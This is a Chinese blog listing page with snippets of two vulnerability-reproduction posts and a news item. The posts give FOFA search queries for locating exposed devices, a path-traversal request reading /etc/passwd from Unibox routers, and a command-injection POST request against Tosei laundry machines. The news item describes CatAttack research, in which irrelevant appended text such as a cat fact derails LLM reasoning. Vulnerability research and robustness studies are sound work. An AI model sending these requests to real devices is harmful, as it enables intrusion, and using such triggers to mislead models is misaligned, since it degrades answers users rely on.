首页 文章 精选 留言 我的

精选列表

搜索[可复现构建],共10015篇文章
优秀的个人博客,低调大师

【漏洞复现】Unibox路由器download_csv.php存在任意文件读取漏洞

漏洞描述 Unibox路由器download_csv.php接口存在任意文件读取 资产收集 ``` fofa body="Unibox" && body="Controller" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/04c46b35442a75a1f05e355a748cb159.png) 发送请求 ``` GET /tools/download_csv.php?download_file=../../../etc/passwd HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept: */* Connection: Keep-Alive ``` 返回包 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/40126a579f8c8888f39e69ed2eaa5bf7.png) 批量验证脚本

优秀的个人博客,低调大师

【漏洞复现】Tosei自助洗衣机network_test.php接口存在远程命令执行漏洞

漏洞描述 Tosei自助洗衣机network_test.php接口存在远程命令执行漏洞 资产收集 ``` fofa body="tosei_login_check.php" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/b880bf8c56343714e74a6e62d52c69ea.png) 发送请求 ``` POST /cgi-bin/login.php/cgi-bin/network_test.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept-Encoding: gzip, deflate Accept: */* Connection: close Host: Content-Length: 26 Content-Type: application/x-www-form-urlencoded host=%0aid%0a&command=ping ``` 返回包 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/86ed8cbbde65e252991f6dded854573b.png) 批量验证脚本

优秀的个人博客,低调大师

“猫”可干扰大模型推理能力

最新研究发现,在问题中附加如“猫”等无关文本片段,可以系统性地误导大型语言模型,显著降低其推理准确性。 一篇题为《猫会混淆推理大模型》的新研究论文揭示了大型语言模型在推理能力上的脆弱性。研究人员引入了“查询无关的对抗性触发器”——即简短、无关的文本片段,当将其附加到问题上时,能在不改变问题语义的情况下,系统性地误导模型得出错误答案。 https://arxiv.org/pdf/2503.01781 https://huggingface.co/datasets/collinear-ai/cat-attack-adversarial-triggers 研究团队提出了一个名为CatAttack的自动化攻击流程。实验发现,在数学问题后附加一句“有趣的事实:猫一生中的大部分时间都在睡觉”这样无关的话,会导致模型出错的几率增加一倍以上。 更重要的是,这些在较弱模型(如DeepSeek V3)上生成的触发器,能成功迁移到更先进的模型(如DeepSeek R1),使目标模型产生错误答案的可能性增加超过300%。该研究结果揭示了当前顶尖推理模型中存在的严重安全性和可靠性漏洞。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册